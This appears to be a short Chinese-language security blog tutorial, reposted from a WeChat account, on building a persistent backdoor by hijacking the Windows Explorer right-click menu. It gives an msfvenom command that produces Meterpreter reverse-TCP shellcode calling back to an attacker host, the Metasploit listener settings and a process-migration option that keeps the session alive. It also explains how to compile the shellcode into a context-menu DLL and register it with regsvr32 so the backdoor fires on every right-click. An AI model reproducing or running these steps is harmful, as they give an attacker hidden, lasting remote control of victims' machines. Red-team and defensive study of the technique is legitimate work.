|
0x01 前言
0x02 复现过程
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.120 LPORT=443 EXITFUNC=thread -f c
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.120
set lport 443
exploit
VS打开该项目,在FileContextMenuExt.cpp第13行处插入我们处理好的shellcode,直接编译得到一个ContextMenuHijack.dll。
项目地址:
https://github.com/RistBS/ContextMenuHijack
接着我们通过执行以下命令用regsvr32注册下这个dll文件,如果想卸载掉只需加个/u参数即可。
注册:
regsvr32 ContextMenuHijack.dll
卸载:
regsvr32 /u ContextMenuHijack.dll
这时只要我们右键文件或文件夹就会触发上线,但这种方式极易造成Explorer.exe资源管理器奔溃,导致会话掉线,建议加个自动迁移进程参数。
set AutoRunScript migrate -f
0x03 编译问题
选中项目 -> 右键属性 -> 将平台工具集选为VS2017(V141);
选中工程 -> 重定解决方案目标 -> 选择当前Windows SDK版本;
打开项目根目录下.vcxproj后缀文件,将v143全替换为v141,保存;
切换回Visual Studio,检测到文件修改,我们选择“全部重新加载”;
再次选中工程 -> 重新生成解决方案 -> 已经编译成功,完美解决该问题。
参考链接:
https://pentestlab.blog/2023/03/13/persistence-context-menu/
https://ristbs.github.io/2023/02/15/hijack-explorer-context-menu-for-persistence-and-fun.html
关 注 有 礼
推 荐 阅 读
原文始发于微信公众号(潇湘信安):劫持资源管理器实现持久性后门